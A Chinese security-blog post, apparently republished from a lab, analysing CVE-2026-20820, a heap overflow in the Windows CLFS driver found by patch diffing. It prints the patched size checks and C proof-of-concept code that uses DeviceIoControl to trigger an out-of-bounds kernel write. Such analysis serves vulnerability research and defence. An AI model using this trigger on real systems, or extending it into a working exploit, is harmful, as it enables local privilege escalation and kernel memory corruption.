2026-02-04 17:47:16 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文分析了CVE-2026-20820，即Windowsclfs.sys驱动中的堆溢出漏洞，允许本地提权。通过补丁比对发现，根因在于CClfsRequest::ScanContainers函数计算内存时遗漏了0x38字节头部，导致分配不足。微软增加了溢出检查进行修复。文章提供了触发该溢出的POC代码，展示了如何利用DeviceIoControl造成越界写入，对内核安全研究具有参考价值。 综合评分： 88 文章分类： 漏洞分析,二进制安全,漏洞POC,漏洞预警

cover_image

CVE-2026-20820 clfs.sys堆溢出

原创

毕方安全实验室毕方安全实验室

BeFun安全实验室

2026年2月4日 10:39 四川

概述

微软1月修复了一个clfs（通用日志文件系统，Common Log File System）的堆溢出，描述为：

Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.

补丁分析

通过补丁比对我们很容易定位到补丁，漏洞位于CClfsRequest::ScanContainers函数，添加了如下检查：

TotalSize =&nbsp;0x240&nbsp;* ContainerCount;
TempSize =&nbsp;-1;
SafeTotalSize =&nbsp;-1;
if&nbsp;( (unsigned&nbsp;__int64)(0x240&nbsp;* ContainerCount) <=&nbsp;0xFFFFFFFF&nbsp;)
&nbsp; &nbsp; SafeTotalSize =&nbsp;0x240&nbsp;* ContainerCount; &nbsp; &nbsp;&nbsp;// Check for integer overflow: 576 * ContainerCount
status = TotalSize >&nbsp;0xFFFFFFFF&nbsp;?&nbsp;0xC0000095&nbsp;:&nbsp;0;
if&nbsp;( TotalSize >&nbsp;0xFFFFFFFF&nbsp;)
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_15;
// 补丁
if&nbsp;( (unsignedint)Feature_2816432440__private_IsEnabledDeviceUsageNoInline() )
{
&nbsp; &nbsp; CheckSize = SafeTotalSize;
&nbsp; &nbsp; NextSize = SafeTotalSize +&nbsp;0x38;
&nbsp; &nbsp;&nbsp;if&nbsp;( SafeTotalSize +&nbsp;0x38&nbsp;>= SafeTotalSize )
&nbsp; &nbsp; &nbsp; &nbsp; TempSize = SafeTotalSize +&nbsp;0x38;
&nbsp; &nbsp; SafeTotalSize = TempSize;
&nbsp; &nbsp; status = NextSize < CheckSize ?&nbsp;0xC0000095&nbsp;:&nbsp;0;
&nbsp; &nbsp;&nbsp;if&nbsp;( NextSize < CheckSize )
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_15;
}
if&nbsp;( SafeTotalSize > pIrpSp->Parameters.Read.Length )
{
&nbsp; &nbsp; LABEL_2:
&nbsp; &nbsp; status =&nbsp;0xC0000206;
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_33;
}

简单来说，程序在获取 Containers 的 size 的时候，只算了 Container 本身的大小(0x240 * ContainerCount)，少算了一个头部(0x38)，导致在后面少算了0x38字节，造成堆溢出。

POC

需要绕过几个检查，可以直接在windbg里调试然后看对应字段。

HANDLE hLog = CreateLogFile(L"LOG:C:\\ClfsPoc\\minpoc", GENERIC_READ | GENERIC_WRITE,&nbsp;7,&nbsp;NULL,&nbsp;4,&nbsp;0);
ULONGLONG cb =&nbsp;1024&nbsp;*&nbsp;1024;

AddLogContainer(hLog, &cb, (LPWSTR)L"C:\\ClfsPoc\\mincont",&nbsp;NULL);
SYSTEM_INFO si;
GetSystemInfo(&si);

char* pages = (char*)VirtualAlloc(NULL, si.dwPageSize *&nbsp;2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Buffer at end of Page 1 (Size 576)
char* buf = pages + si.dwPageSize -&nbsp;576;
memset(buf,&nbsp;0,&nbsp;576);

// Set Payload
*(unsignedint*)(buf +&nbsp;24) =&nbsp;1; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ContainerCount
*(unsignedchar*)(buf +&nbsp;40) =&nbsp;0x16; &nbsp; &nbsp;&nbsp;// Flags (Scan | ... | 0x10)
*(unsigned&nbsp;__int64*)(buf +&nbsp;48) =&nbsp;1; &nbsp; &nbsp;&nbsp;// Magic Non-Zero Check

// Trigger OOB Write (Output Buffer)
DeviceIoControl(hLog,&nbsp;0x80076816,&nbsp;NULL,&nbsp;0, buf,&nbsp;576, &br,&nbsp;NULL);

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：BeFun安全实验室毕方安全实验室毕方安全实验室《CVE-2026-20820 clfs.sys堆溢出》